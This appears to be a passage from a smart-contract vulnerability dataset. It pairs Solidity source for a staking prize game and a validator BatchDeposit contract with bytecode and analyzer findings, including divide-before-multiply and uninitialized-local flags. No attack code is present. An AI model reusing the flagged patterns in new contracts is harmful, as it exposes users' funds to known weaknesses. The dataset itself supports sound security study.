stakeIDToDepositIndex[currentPrizeStakeID - 2].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 3].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 3].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 3].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 3].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 3].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 4].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 4].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 4].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 4].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 4].value, now); } } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630dba2400146102cc5780633a6dc128146102d65780633d32a6cf1461034a57806349c53b2d14610375578063636d98b11461038c57806371d007cd146103b757806378e97925146104245780638da5cb5b1461044f5780638f32d59b146104a657806392285a1a146104d55780639dad2d6214610500578063aac7df661461052b578063aad4482514610556578063b6b55f2514610599578063beae2aaf146105b9578063c1071657146105e4578063c629cdf414610670578063df1836ca14610687578063eeedb8e2146106b2578063ef78d4fd146106dd578063f2fde38b14610708578063f3ab2c6d1461074b578063f548686014610776578063fafbb9a3146107a1575b600080600080339050803b915060008263ffffffff1611156101c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f496e68756d616e0000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60003414156101df576101da336107cc565b6102c6565b6001935061021f6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050610c4a565b9250600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160009054906101000a900460ff16156102bc57600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006015493505b6102c584610c58565b5b50505050005b6102d46114b0565b005b3480156102e257600080fd5b50610301600480360381019080803590602001909291905050506114d5565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b34801561035657600080fd5b5061035f611519565b6040518082815260200191505060405180910390f35b34801561038157600080fd5b5061038a61151f565b005b34801561039857600080fd5b506103a1611fb5565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b506103e260048036038101908080359060200190929190505050611fbb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043057600080fd5b50610439611fee565b6040518082815260200191505060405180910390f35b34801561045b57600080fd5b50610464611ff4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b257600080fd5b506104bb61201d565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea612074565b6040518082815260200191505060405180910390f35b34801561050c57600080fd5b5061051561207a565b6040518082815260200191505060405180910390f35b34801561053757600080fd5b50610540612080565b6040518082815260200191505060405180910390f35b34801561056257600080fd5b50610597600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612086565b005b6105b760048036038101908080359060200190929190505050610c58565b005b3480156105c557600080fd5b506105ce6120a5565b6040518082815260200191505060405180910390f35b3480156105f057600080fd5b50610625600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120ab565b60405180898152602001888152602001878152602001868152602001858152602001841515151581526020018381526020018281526020019850505050505050505060405180910390f35b34801561067c57600080fd5b50610685612100565b005b34801561069357600080fd5b5061069c612194565b6040518082815260200191505060405180910390f35b3480156106be57600080fd5b506106c761219a565b6040518082815260200191505060405180910390f35b3480156106e957600080fd5b506106f26121a0565b6040518082815260200191505060405180910390f35b34801561071457600080fd5b50610749600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121a6565b005b34801561075757600080fd5b506107606121c5565b6040518082815260200191505060405180910390f35b34801561078257600080fd5b5061078b6121cb565b6040518082815260200191505060405180910390f35b3480156107ad57600080fd5b506107b66121d1565b6040518082815260200191505060405180910390f35b600080600060011515600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160009054906101000a900460ff16151514151561089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f57686f2061726520796f753f000000000000000000000000000000000000000081525060200191505060405180910390fd5b42600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154101515610955576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f74207965742e00000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6109d160016109c36001546109b5600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401544261223690919063ffffffff16565b61225790919063ffffffff16565b61228190919063ffffffff16565b925060035491506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541115610a295760045491505b610aa482610a96612710610a88600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154886122a290919063ffffffff16565b61225790919063ffffffff16565b6122a290919063ffffffff16565b905042600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550610b02600154846122a290919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550610b7b343073ffffffffffffffffffffffffffffffffffffffff163161223690919063ffffffff16565b610b90600c548361228190919063ffffffff16565b1015610c44578373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610bdc573d6000803e3d6000fd5b508373ffffffffffffffffffffffffffffffffffffffff167f4175768318d05d175ba194bba03717d72a0f41138f491d37f4b8808433b5ec84828585426040518085815260200184815260200183815260200182815260200194505050505060405180910390a25b50505050565b600060148201519050919050565b6000610c626123da565b610c6a612422565b6000806000339050803b915060008263ffffffff161115610cf3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f496e68756d616e0000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6008548711151515610d6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f57686f20726566657272656420796f753f00000000000000000000000000000081525060200191505060405180910390fd5b6006543410151515610de7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f446f65736e2774206d656574206d696e696d756d207374616b652e000000000081525060200191505060405180910390fd5b610def6121d1565b9550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160009054906101000a900460ff1615610f365742600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401541015610e9a57610e99336107cc565b5b34600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254019250508190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550611089565b6101006040519081016040528034815260200142815260200142815260200160008152602001878152602001600115158152602001600854815260200188815250945084600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a81548160ff02191690831515021790555060c0820151816006015560e0820151816007015590505033600a6000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600081548092919060010191905055505b600d5442111561109c5761109b61151f565b5b600e6000815480929190600101919050555033846020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503484600001818152505083600f6000600e5481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050611183612710611175600b54346122a290919063ffffffff16565b61225790919063ffffffff16565b600c600082825401925050819055506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154141515611430576112076127106111f9600554346122a290919063ffffffff16565b61225790919063ffffffff16565b9250600a6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156112c4573d6000803e3d6000fd5b506112cd611ff4565b73ffffffffffffffffffffffffffffffffffffffff166108fc61131361271061130560055460075403346122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561133e573d6000803e3d6000fd5b50600a6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f45c0cf9f69d353cf3187595d052580cd76255a6519099fe88d76a57faca583ca856005544260405180848152602001838152602001828152602001935050505060405180910390a36114a7565b611438611ff4565b73ffffffffffffffffffffffffffffffffffffffff166108fc61147a61271061146c600754346122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156114a5573d6000803e3d6000fd5b505b50505050505050565b6114b861201d565b15156114c357600080fd5b34600c60008282540192505081905550565b600f6020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60065481565b600080600080339050803b915060008263ffffffff1611156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f496e68756d616e0000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600d5442111515611622576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f74207965740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61162a6121d1565b600d819055506005600e541115611faf57600c5493506000600c819055503073ffffffffffffffffffffffffffffffffffffffff1631841115611682573073ffffffffffffffffffffffffffffffffffffffff163193505b600f60006004600e5403815260200190815260200160002060000154600f60006003600e5403815260200190815260200160002060000154600f60006002600e5403815260200190815260200160002060000154600f60006001600e5403815260200190815260200160002060000154600f6000600e54815260200190815260200160002060000154010101019250600f6000600e54815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117a085611792600f6000600e54815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156117cb573d6000803e3d6000fd5b50600f6000600e54815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb403199f0cf676b3f926b6994d32067692e35fc0304ea603cd914cc4462a07656118798561186b600f6000600e54815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b85600f6000600e54815260200190815260200160002060000154426040518085815260200184815260200183815260200182815260200194505050505060405180910390a2600f60006001600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61195385611945600f60006001600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561197e573d6000803e3d6000fd5b50600f60006001600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb403199f0cf676b3f926b6994d32067692e35fc0304ea603cd914cc4462a0765611a3285611a24600f60006001600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b85600f60006001600e5403815260200190815260200160002060000154426040518085815260200184815260200183815260200182815260200194505050505060405180910390a2600f60006002600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b0f85611b01600f60006002600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b3a573d6000803e3d6000fd5b50600f60006002600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb403199f0cf676b3f926b6994d32067692e35fc0304ea603cd914cc4462a0765611bee85611be0600f60006002600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b85600f60006002600e5403815260200190815260200160002060000154426040518085815260200184815260200183815260200182815260200194505050505060405180910390a2600f60006003600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ccb85611cbd600f60006003600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf6573d6000803e3d6000fd5b50600f60006003600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb403199f0cf676b3f926b6994d32067692e35fc0304ea603cd914cc4462a0765611daa85611d9c600f60006003600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b85600f60006003600e5403815260200190815260200160002060000154426040518085815260200184815260200183815260200182815260200194505050505060405180910390a2600f60006004600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8785611e79600f60006004600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb2573d6000803e3d6000fd5b50600f60006004600e5403815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb403199f0cf676b3f926b6994d32067692e35fc0304ea603cd914cc4462a0765611f6685611f58600f60006004600e5403815260200190815260200160002060000154896122a290919063ffffffff16565b61225790919063ffffffff16565b85600f60006004600e5403815260200190815260200160002060000154426040518085815260200184815260200183815260200182815260200194505050505060405180910390a25b50505050565b60055481565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600e5481565b60045481565b600b5481565b61208e61201d565b151561209957600080fd5b6120a2816107cc565b50565b60035481565b60096020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050160009054906101000a900460ff16908060060154908060070154905088565b600080339050803b915060008263ffffffff161115612187576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f496e68756d616e0000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612190336107cc565b5050565b60075481565b60085481565b60015481565b6121ae61201d565b15156121b957600080fd5b6121c2816122e0565b50565b600c5481565b600d5481565b60006002544210156121eb57600154600254019050612233565b60015461222b60015461221d60015461220f6002544261223690919063ffffffff16565b61225790919063ffffffff16565b6122a290919063ffffffff16565b600254010190505b90565b60008083831115151561224857600080fd5b82840390508091505092915050565b60008060008311151561226957600080fd5b828481151561227457fe5b0490508091505092915050565b600080828401905083811015151561229857600080fd5b8091505092915050565b60008060008414156122b757600091506122d9565b82840290508284828115156122c857fe5b041415156122d557600080fd5b8091505b5092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561231c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61010060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160001515815260200160008152602001600081525090565b604080519081016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905600a165627a7a72305820cb53958502260d8e8d6ee4e066782ceebac03ab013e1786eaa67e1bd7abaa5570029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,353
0xbf1556a7d625654e3d64d1f0466a60a697fac178
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.6.8; // i2c mainnet mark /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Deposit contract interface interface IDepositContract { /// @notice A processed deposit event. event DepositEvent( bytes pubkey, bytes withdrawal_credentials, bytes amount, bytes signature, bytes index ); /// @notice Submit a Phase 0 DepositData object. /// @param pubkey A BLS12-381 public key. /// @param withdrawal_credentials Commitment to a public key for withdrawals. /// @param signature A BLS12-381 signature. /// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object. /// Used as a protection against malformed input. function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) external payable; /// @notice Query the current deposit root hash. /// @return The deposit root hash. function get_deposit_root() external view returns (bytes32); /// @notice Query the current deposit count. /// @return The deposit count encoded as a little endian 64-bit number. function get_deposit_count() external view returns (bytes memory); } contract BatchDeposit is Pausable, Ownable { using SafeMath for uint256; address depositContract; uint256 private _fee; uint256 constant PUBKEY_LENGTH = 48; uint256 constant SIGNATURE_LENGTH = 96; uint256 constant CREDENTIALS_LENGTH = 32; uint256 constant MAX_VALIDATORS = 100; uint256 constant DEPOSIT_AMOUNT = 32 ether; event FeeChanged(uint256 previousFee, uint256 newFee); event Withdrawn(address indexed payee, uint256 weiAmount); event FeeCollected(address indexed payee, uint256 weiAmount); constructor(address depositContractAddr, uint256 initialFee) public { require(initialFee % 1000000000 == 0, "Fee must be a multiple of GWEI"); depositContract = depositContractAddr; _fee = initialFee; } /** * @dev Performs a batch deposit, asking for an additional fee payment. */ function batchDeposit( bytes calldata pubkeys, bytes calldata withdrawal_credentials, bytes calldata signatures, bytes32[] calldata deposit_data_roots ) external payable whenNotPaused { // sanity checks require(msg.value % 1000000000 == 0, "BatchDeposit: Deposit value not multiple of GWEI"); require(msg.value >= DEPOSIT_AMOUNT, "BatchDeposit: Amount is too low"); uint256 count = deposit_data_roots.length; require(count > 0, "BatchDeposit: You should deposit at least one validator"); require(count <= MAX_VALIDATORS, "BatchDeposit: You can deposit max 100 validators at a time"); require(pubkeys.length == count * PUBKEY_LENGTH, "BatchDeposit: Pubkey count don't match"); require(signatures.length == count * SIGNATURE_LENGTH, "BatchDeposit: Signatures count don't match"); require(withdrawal_credentials.length == 1 * CREDENTIALS_LENGTH, "BatchDeposit: Withdrawal Credentials count don't match"); uint256 expectedAmount = _fee.add(DEPOSIT_AMOUNT).mul(count); require(msg.value > expectedAmount, "BatchDeposit: Amount is not aligned with pubkeys number"); // emit FeeCollected(msg.sender, _fee.mul(count)); for (uint256 i = 0; i < count; ++i) { bytes memory pubkey = bytes(pubkeys[i*PUBKEY_LENGTH:(i+1)*PUBKEY_LENGTH]); bytes memory signature = bytes(signatures[i*SIGNATURE_LENGTH:(i+1)*SIGNATURE_LENGTH]); IDepositContract(depositContract).deposit{value: DEPOSIT_AMOUNT}( pubkey, withdrawal_credentials, signature, deposit_data_roots[i] ); } } /** * @dev Withdraw accumulated fee in the contract * * @param receiver The address where all accumulated funds will be transferred to. * Can only be called by the current owner. */ function withdraw(address payable receiver) public onlyOwner { require(receiver != address(0), "You can't burn these eth directly"); uint256 amount = address(this).balance; emit Withdrawn(receiver, amount); receiver.transfer(amount); } /** * @dev Change the validator fee (`newOwner`). * Can only be called by the current owner. */ function changeFee(uint256 newFee) public onlyOwner { require(newFee != _fee, "Fee must be different from current one"); require(newFee % 1000000000 == 0, "Fee must be a multiple of GWEI"); emit FeeChanged(_fee, newFee); _fee = newFee; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() public onlyOwner { _pause(); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() public onlyOwner { _unpause(); } /** * @dev Returns the current fee */ function fee() public view returns (uint256) { return _fee; } /** * Disable renunce ownership */ function renounceOwnership() public override onlyOwner { revert("Ownable: renounceOwnership is disabled"); } }
0x6080604052600436106100915760003560e01c80638456cb59116100595780638456cb591461017f5780638da5cb5b14610196578063c82655b7146101ed578063ddca3f4314610365578063f2fde38b1461039057610091565b80633f4ba83a1461009657806351cff8d9146100ad5780635c975abb146100fe5780636a1db1bf1461012d578063715018a614610168575b600080fd5b3480156100a257600080fd5b506100ab6103e1565b005b3480156100b957600080fd5b506100fc600480360360208110156100d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104b5565b005b34801561010a57600080fd5b506101136106a3565b604051808215151515815260200191505060405180910390f35b34801561013957600080fd5b506101666004803603602081101561015057600080fd5b81019080803590602001909291905050506106b9565b005b34801561017457600080fd5b5061017d6108ac565b005b34801561018b57600080fd5b506101946109c7565b005b3480156101a257600080fd5b506101ab610a9b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103636004803603608081101561020357600080fd5b810190808035906020019064010000000081111561022057600080fd5b82018360208201111561023257600080fd5b8035906020019184600183028401116401000000008311171561025457600080fd5b90919293919293908035906020019064010000000081111561027557600080fd5b82018360208201111561028757600080fd5b80359060200191